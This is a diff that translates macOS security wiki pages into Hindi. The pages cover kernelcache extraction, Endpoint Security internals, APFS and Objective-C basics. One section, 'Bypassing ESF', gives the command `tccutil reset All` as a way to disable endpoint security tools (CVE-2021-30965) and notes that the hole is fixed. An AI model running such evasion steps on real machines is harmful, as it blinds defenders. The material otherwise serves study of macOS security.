firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +Firmware को extract करने के बाद आपको एक फ़ाइल मिलेगी जैसे: **`kernelcache.release.iphone14`**। यह **IMG4** प्रारूप में है, आप इसे दिलचस्प जानकारी निकालने के लिए उपयोग कर सकते हैं: [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - ### Inspecting kernelcache -Check if the kernelcache has symbols with - +जांचें कि क्या kernelcache में प्रतीक हैं ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +इसके साथ, हम अब **सभी एक्सटेंशन निकाल सकते हैं** या **वह जो आपको रुचिकर है:** ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` +## डिबगिंग -## Debugging - -## Referencias +## संदर्भ - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..801cea370 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# macOS कर्नेल कमजोरियाँ {{#include ../../../banners/hacktricks-training.md}} ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**इस रिपोर्ट में**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) कई कमजोरियों का वर्णन किया गया है जिन्होंने सॉफ़्टवेयर अपडेटर को समझौता करते हुए कर्नेल को समझौता करने की अनुमति दी।\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..a5a6cc6ee 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -1,81 +1,79 @@ -# macOS System Extensions +# macOS सिस्टम एक्सटेंशन {{#include ../../../banners/hacktricks-training.md}} -## System Extensions / Endpoint Security Framework +## सिस्टम एक्सटेंशन / एंडपॉइंट सुरक्षा ढांचा -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +Kernel Extensions के विपरीत, **सिस्टम एक्सटेंशन उपयोगकर्ता स्थान में चलते हैं** न कि कर्नेल स्थान में, जिससे एक्सटेंशन की खराबी के कारण सिस्टम क्रैश होने का जोखिम कम होता है।
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +सिस्टम एक्सटेंशन के तीन प्रकार हैं: **DriverKit** एक्सटेंशन, **Network** एक्सटेंशन, और **Endpoint Security** एक्सटेंशन। -### **DriverKit Extensions** +### **DriverKit एक्सटेंशन** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit कर्नेल एक्सटेंशन का एक विकल्प है जो **हार्डवेयर समर्थन प्रदान करता है**। यह डिवाइस ड्राइवरों (जैसे USB, Serial, NIC, और HID ड्राइवर) को कर्नेल स्थान के बजाय उपयोगकर्ता स्थान में चलाने की अनुमति देता है। DriverKit ढांचा **कुछ I/O किट वर्गों के उपयोगकर्ता स्थान संस्करणों** को शामिल करता है, और कर्नेल सामान्य I/O किट घटनाओं को उपयोगकर्ता स्थान में अग्रेषित करता है, जिससे इन ड्राइवरों के चलने के लिए एक सुरक्षित वातावरण प्रदान होता है। -### **Network Extensions** +### **Network एक्सटेंशन** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Network एक्सटेंशन नेटवर्क व्यवहार को अनुकूलित करने की क्षमता प्रदान करते हैं। Network एक्सटेंशन के कई प्रकार हैं: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: इसका उपयोग एक VPN क्लाइंट बनाने के लिए किया जाता है जो एक प्रवाह-आधारित, कस्टम VPN प्रोटोकॉल को लागू करता है। इसका मतलब है कि यह नेटवर्क ट्रैफ़िक को कनेक्शनों (या प्रवाहों) के आधार पर संभालता है न कि व्यक्तिगत पैकेट के आधार पर। +- **Packet Tunnel**: इसका उपयोग एक VPN क्लाइंट बनाने के लिए किया जाता है जो एक पैकेट-आधारित, कस्टम VPN प्रोटोकॉल को लागू करता है। इसका मतलब है कि यह नेटवर्क ट्रैफ़िक को व्यक्तिगत पैकेट के आधार पर संभालता है। +- **Filter Data**: इसका उपयोग नेटवर्क "प्रवाहों" को फ़िल्टर करने के लिए किया जाता है। यह प्रवाह स्तर पर नेटवर्क डेटा की निगरानी या संशोधन कर सकता है। +- **Filter Packet**: इसका उपयोग व्यक्तिगत नेटवर्क पैकेट को फ़िल्टर करने के लिए किया जाता है। यह पैकेट स्तर पर नेटवर्क डेटा की निगरानी या संशोधन कर सकता है। +- **DNS Proxy**: इसका उपयोग एक कस्टम DNS प्रदाता बनाने के लिए किया जाता है। इसका उपयोग DNS अनुरोधों और प्रतिक्रियाओं की निगरानी या संशोधन के लिए किया जा सकता है। -## Endpoint Security Framework +## एंडपॉइंट सुरक्षा ढांचा -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +एंडपॉइंट सुरक्षा एक ढांचा है जो Apple द्वारा macOS में प्रदान किया गया है जो सिस्टम सुरक्षा के लिए API का एक सेट प्रदान करता है। इसका उपयोग **सुरक्षा विक्रेताओं और डेवलपर्स द्वारा उन उत्पादों को बनाने के लिए किया जाता है जो सिस्टम गतिविधि की निगरानी और नियंत्रण कर सकते हैं** ताकि दुर्भावनापूर्ण गतिविधियों की पहचान और सुरक्षा की जा सके। -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +यह ढांचा **सिस्टम गतिविधि की निगरानी और नियंत्रण के लिए API का एक संग्रह प्रदान करता है**, जैसे प्रक्रिया निष्पादन, फ़ाइल प्रणाली घटनाएँ, नेटवर्क और कर्नेल घटनाएँ। -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +इस ढांचे का मुख्य भाग कर्नेल में लागू किया गया है, एक कर्नेल एक्सटेंशन (KEXT) के रूप में जो **`/System/Library/Extensions/EndpointSecurity.kext`** पर स्थित है। यह KEXT कई प्रमुख घटकों से बना है: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: यह कर्नेल एक्सटेंशन के लिए "प्रवेश बिंदु" के रूप में कार्य करता है। यह OS और एंडपॉइंट सुरक्षा ढांचे के बीच बातचीत का मुख्य बिंदु है। +- **EndpointSecurityEventManager**: यह घटक कर्नेल हुक को लागू करने के लिए जिम्मेदार है। कर्नेल हुक ढांचे को सिस्टम कॉल को इंटरसेप्ट करके सिस्टम घटनाओं की निगरानी करने की अनुमति देते हैं। +- **EndpointSecurityClientManager**: यह उपयोगकर्ता स्थान क्लाइंट के साथ संचार का प्रबंधन करता है, यह ट्रैक करता है कि कौन से क्लाइंट जुड़े हुए हैं और जिन्हें घटना सूचनाएँ प्राप्त करने की आवश्यकता है। +- **EndpointSecurityMessageManager**: यह उपयोगकर्ता स्थान क्लाइंट को संदेश और घटना सूचनाएँ भेजता है। -The events that the Endpoint Security framework can monitor are categorized into: +एंडपॉइंट सुरक्षा ढांचा जिन घटनाओं की निगरानी कर सकता है, उन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- फ़ाइल घटनाएँ +- प्रक्रिया घटनाएँ +- सॉकेट घटनाएँ +- कर्नेल घटनाएँ (जैसे कर्नेल एक्सटेंशन को लोड/अनलोड करना या I/O किट डिवाइस खोलना) -### Endpoint Security Framework Architecture +### एंडपॉइंट सुरक्षा ढांचा आर्किटेक्चर
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**उपयोगकर्ता-स्थान संचार** एंडपॉइंट सुरक्षा ढांचे के साथ IOUserClient वर्ग के माध्यम से होता है। कॉलर के प्रकार के आधार पर दो अलग-अलग उपवर्गों का उपयोग किया जाता है: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: इसके लिए `com.apple.private.endpoint-security.manager` अधिकार की आवश्यकता होती है, जो केवल सिस्टम प्रक्रिया `endpointsecurityd` के पास होता है। +- **EndpointSecurityExternalClient**: इसके लिए `com.apple.developer.endpoint-security.client` अधिकार की आवश्यकता होती है। इसका उपयोग आमतौर पर तीसरे पक्ष के सुरक्षा सॉफ़्टवेयर द्वारा किया जाएगा जिसे एंडपॉइंट सुरक्षा ढांचे के साथ बातचीत करने की आवश्यकता होती है। -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +एंडपॉइंट सुरक्षा एक्सटेंशन:**`libEndpointSecurity.dylib`** वह C लाइब्रेरी है जिसका उपयोग सिस्टम एक्सटेंशन कर्नेल के साथ संवाद करने के लिए करते हैं। यह लाइब्रेरी एंडपॉइंट सुरक्षा KEXT के साथ संवाद करने के लिए I/O किट (`IOKit`) का उपयोग करती है। -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`** एक प्रमुख सिस्टम डेमॉन है जो एंडपॉइंट सुरक्षा सिस्टम एक्सटेंशनों का प्रबंधन और लॉन्च करने में शामिल है, विशेष रूप से प्रारंभिक बूट प्रक्रिया के दौरान। **केवल सिस्टम एक्सटेंशन** जिन्हें उनके `Info.plist` फ़ाइल में **`NSEndpointSecurityEarlyBoot`** के रूप में चिह्नित किया गया है, इस प्रारंभिक बूट उपचार को प्राप्त करते हैं। -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +एक अन्य सिस्टम डेमॉन, **`sysextd`**, **सिस्टम एक्सटेंशनों को मान्य करता है** और उन्हें उचित सिस्टम स्थानों में स्थानांतरित करता है। फिर यह संबंधित डेमॉन से एक्सटेंशन को लोड करने के लिए कहता है। **`SystemExtensions.framework`** सिस्टम एक्सटेंशनों को सक्रिय और निष्क्रिय करने के लिए जिम्मेदार है। -## Bypassing ESF +## ESF को बायपास करना -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESF का उपयोग सुरक्षा उपकरणों द्वारा किया जाता है जो एक रेड टीमर का पता लगाने की कोशिश करेंगे, इसलिए इस बारे में कोई भी जानकारी कि इसे कैसे टाला जा सकता है, दिलचस्प लगती है। ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +बात यह है कि सुरक्षा एप्लिकेशन को **पूर्ण डिस्क एक्सेस अनुमतियाँ** होनी चाहिए। इसलिए यदि एक हमलावर इसे हटा सकता है, तो वह सॉफ़्टवेयर को चलने से रोक सकता है: ```bash tccutil reset All ``` +अधिक जानकारी के लिए इस बायपास और संबंधित विषयों के बारे में बात करें [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +अंत में, इसे ठीक किया गया था नए अनुमति **`kTCCServiceEndpointSecurityClient`** को सुरक्षा ऐप को देने के द्वारा जो **`tccd`** द्वारा प्रबंधित है ताकि `tccutil` इसकी अनुमतियों को साफ न करे जिससे यह चलने से रोक सके। -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. - -## References +## संदर्भ - [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..1779e4ef5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple Proprietary File System (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple File System (APFS)** एक आधुनिक फ़ाइल प्रणाली है जिसे Hierarchical File System Plus (HFS+) के स्थान पर लाने के लिए डिज़ाइन किया गया है। इसका विकास **बेहतर प्रदर्शन, सुरक्षा, और दक्षता** की आवश्यकता से प्रेरित था। -Some notable features of APFS include: +APFS की कुछ उल्लेखनीय विशेषताएँ हैं: -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **स्पेस शेयरिंग**: APFS कई वॉल्यूम को **एक ही भौतिक डिवाइस पर समान अंतर्निहित मुक्त संग्रहण साझा करने** की अनुमति देता है। यह अधिक कुशल स्थान उपयोग की अनुमति देता है क्योंकि वॉल्यूम बिना मैनुअल रिसाइजिंग या रिपार्टिशनिंग की आवश्यकता के गतिशील रूप से बढ़ और घट सकते हैं। +1. इसका मतलब है, पारंपरिक विभाजनों की तुलना में फ़ाइल डिस्क में, **कि APFS में विभिन्न विभाजन (वॉल्यूम) सभी डिस्क स्थान साझा करते हैं**, जबकि एक नियमित विभाजन आमतौर पर एक निश्चित आकार का होता था। +2. **स्नैपशॉट**: APFS **स्नैपशॉट बनाने का समर्थन करता है**, जो **पढ़ने के लिए केवल** समय-निर्धारित उदाहरण होते हैं। स्नैपशॉट कुशल बैकअप और आसान सिस्टम रोलबैक की अनुमति देते हैं, क्योंकि वे न्यूनतम अतिरिक्त संग्रहण का उपभोग करते हैं और जल्दी से बनाए या वापस लाए जा सकते हैं। +3. **क्लोन**: APFS **फ़ाइल या निर्देशिका क्लोन बना सकता है जो मूल के समान संग्रहण साझा करते हैं** जब तक कि या तो क्लोन या मूल फ़ाइल में संशोधन नहीं किया जाता। यह सुविधा फ़ाइलों या निर्देशिकाओं की प्रतियाँ बनाने का एक कुशल तरीका प्रदान करती है बिना संग्रहण स्थान को डुप्लिकेट किए। +4. **एन्क्रिप्शन**: APFS **पूर्ण-डिस्क एन्क्रिप्शन** के साथ-साथ प्रति-फ़ाइल और प्रति-निर्देशिका एन्क्रिप्शन का **स्वाभाविक रूप से समर्थन करता है**, विभिन्न उपयोग मामलों में डेटा सुरक्षा को बढ़ाता है। +5. **क्रैश सुरक्षा**: APFS एक **कॉपी-ऑन-राइट मेटाडेटा स्कीम का उपयोग करता है जो फ़ाइल प्रणाली की स्थिरता सुनिश्चित करता है** यहां तक कि अचानक पावर लॉस या सिस्टम क्रैश के मामलों में, डेटा भ्रष्टाचार के जोखिम को कम करता है। +कुल मिलाकर, APFS Apple उपकरणों के लिए एक अधिक आधुनिक, लचीली, और कुशल फ़ाइल प्रणाली प्रदान करता है, जिसमें बेहतर प्रदर्शन, विश्वसनीयता, और सुरक्षा पर ध्यान केंद्रित किया गया है। ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +`Data` वॉल्यूम **`/System/Volumes/Data`** में माउंट किया गया है (आप इसे `diskutil apfs list` के साथ चेक कर सकते हैं)। +फिरmlink की सूची **`/usr/share/firmlinks`** फ़ाइल में पाई जा सकती है। ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..644b48d68 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -5,24 +5,21 @@ ## Objective-C > [!CAUTION] -> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +> ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **रखते** हैं अपनी क्लास घोषणाएँ **जब** **संकलित** होते हैं [Mach-O बाइनरीज़](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में। ऐसी क्लास घोषणाएँ **शामिल** करती हैं नाम और प्रकार के: -- The class -- The class methods -- The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +- क्लास +- क्लास मेथड्स +- क्लास इंस्टेंस वेरिएबल्स +आप इस जानकारी को [**class-dump**](https://github.com/nygard/class-dump) का उपयोग करके प्राप्त कर सकते हैं: ```bash class-dump Kindle.app ``` +ध्यान दें कि इन नामों को बाइनरी के रिवर्सिंग को अधिक कठिन बनाने के लिए अस्पष्ट किया जा सकता है। -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## कक्षाएँ, विधियाँ और वस्तुएँ +### इंटरफ़ेस, गुण और विधियाँ ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **क्लास** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **ऑब्जेक्ट और कॉल मेथड** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +क्लास का एक उदाहरण बनाने के लिए **`alloc`** मेथड को कॉल किया जाता है जो प्रत्येक **प्रॉपर्टी** के लिए **मेमोरी आवंटित** करता है और उन आवंटनों को **शून्य** करता है। फिर **`init`** को कॉल किया जाता है, जो **प्रॉपर्टीज** को **आवश्यक मानों** पर **आरंभ** करता है। ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **क्लास मेथड्स** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +क्लास मेथड्स को **प्लस साइन** (+) के साथ परिभाषित किया जाता है, न कि हाइफन (-) के साथ जो इंस्टेंस मेथड्स के लिए उपयोग किया जाता है। जैसे कि **NSString** क्लास मेथड **`stringWithString`**: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: - +गुणों को **सेट** और **गेट** करने के लिए, आप इसे **डॉट नोटेशन** के साथ या जैसे कि आप **एक विधि** को कॉल कर रहे हों, कर सकते हैं: ```objectivec // Set newVehicle.numberOfWheels = 2; @@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2; NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` +### **इंस्टेंस वेरिएबल्स** -### **Instance Variables** - -Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_": - +Setter और getter विधियों के विकल्प के रूप में आप इंस्टेंस वेरिएबल्स का उपयोग कर सकते हैं। ये वेरिएबल्स प्रॉपर्टीज के समान नाम रखते हैं लेकिन "\_" से शुरू होते हैं: ```objectivec - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfLeaves); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` +### प्रोटोकॉल -### Protocols - -Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods. - -There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**. +प्रोटोकॉल विधियों की घोषणाओं का एक सेट हैं (बिना गुणों के)। एक वर्ग जो एक प्रोटोकॉल को लागू करता है, घोषित विधियों को लागू करता है। +विधियों के 2 प्रकार होते हैं: **अनिवार्य** और **वैकल्पिक**। **डिफ़ॉल्ट** रूप से एक विधि **अनिवार्य** होती है (लेकिन आप इसे **`@required`** टैग के साथ भी संकेत कर सकते हैं)। यह संकेत करने के लिए कि एक विधि वैकल्पिक है, **`@optional`** का उपयोग करें। ```objectivec @protocol myNewProtocol - (void) method1; //mandatory @@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m - (void) method3; //optional @end ``` - -### All together - +### सभी एक साथ ```objectivec // gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` +### मूल वर्ग -### Basic Classes - -#### String - +#### स्ट्रिंग ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +बुनियादी कक्षाएँ **अपरिवर्तनीय** होती हैं, इसलिए एक मौजूदा स्ट्रिंग में एक स्ट्रिंग जोड़ने के लिए **एक नई NSString बनानी होगी**। ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +या आप एक **mutable** स्ट्रिंग क्लास का भी उपयोग कर सकते हैं: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### संख्या ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### एरे, सेट और शब्दकोश ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` - ### Blocks -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +Blocks **एक्सप्रेशन हैं जो ऑब्जेक्ट्स की तरह व्यवहार करते हैं** इसलिए इन्हें फ़ंक्शंस में पास किया जा सकता है या **arrays** या **dictionaries** में **स्टोर** किया जा सकता है। इसके अलावा, यदि इन्हें मान दिए जाएं तो ये **एक मान का प्रतिनिधित्व कर सकते हैं** इसलिए यह lambdas के समान है। ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +यह भी संभव है कि **एक ब्लॉक प्रकार को एक पैरामीटर के रूप में उपयोग करने के लिए परिभाषित किया जाए** फ़ंक्शनों में: ```objectivec // Define the block type typedef void 